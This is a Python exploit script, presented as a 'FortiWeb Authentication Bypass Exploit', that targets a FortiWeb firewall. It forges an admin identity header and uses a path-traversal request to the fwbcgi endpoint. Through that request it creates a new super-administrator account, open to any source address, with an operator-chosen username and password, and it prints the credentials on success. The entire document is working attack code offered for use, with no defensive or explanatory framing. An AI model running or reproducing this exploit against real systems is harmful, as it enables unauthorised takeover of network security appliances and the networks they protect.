import http.client import ssl import base64 import json from uuid import uuid4 import sys import os from urllib.parse import urlparse import argparse import slogsec log = slogsec.get_logger("api") def parse_target(target): if '://' not in target: target = 'https://' + target parsed = urlparse(target) hostname = parsed.hostname port = parsed.port if port is None: if parsed.scheme == 'https': port = 443 else: port = 443 # Default to 443 for HTTPS return hostname, port def exploit_target(host, port, username, password): cgiinfo_json = { "username": "admin", "profname": "prof_admin", "vdom": "root", "loginname": "admin" } cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode() headers = { "CGIINFO": cgiinfo_b64, "Content-Type": "application/x-www-form-urlencoded", } body = { "data": { "q_type": 1, "name": username, "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0", "trusthostv6": "::/0", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "comments": "", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": password } } body_data = json.dumps(body) try: context = ssl._create_unverified_context() if port == 443: conn = http.client.HTTPSConnection(host, port, context=context, timeout=10) else: conn = http.client.HTTPSConnection(host, port, context=context, timeout=10) conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers) resp = conn.getresponse() result = { 'target': f"{host}:{port}", 'status': resp.status, 'user': username, 'password': password, 'success': resp.status == 200 } conn.close() return result except Exception as e: return { 'target': f"{host}:{port}", 'status': 'Error', 'user': None, 'password': None, 'success': False, 'error': str(e) } def main(): parser = argparse.ArgumentParser(description="FortiWeb Authentication Bypass Exploit") parser.add_argument("target_ip", help="Target FortiWeb IP address") parser.add_argument("-u", "--username", help="Custom username (defaults to UUID)", default=None) parser.add_argument("-p", "--password", help="Custom password (defaults to username)", default=None) args = parser.parse_args() target_ip = args.target_ip username = args.username password = args.password if not username: username = str(uuid4())[:8] if not password: password = username try: host, port = parse_target(target_ip) result = exploit_target(host, port, username, password) if result['success']: log.success(f"[*] SUCCESS - Target: {result['target']}") log.info(f" Username: {result['user']}") log.info(f" Password: {result['password']}") else: log.fail(f"[-] FAILED - Target: {result['target']}") if 'error' in result: log.fail(f" Error: {result['error']}") else: log.fail(f" Status: {result['status']}") except Exception as e: log.fail(f"[-] ERROR: {e}") if __name__ == "__main__": main()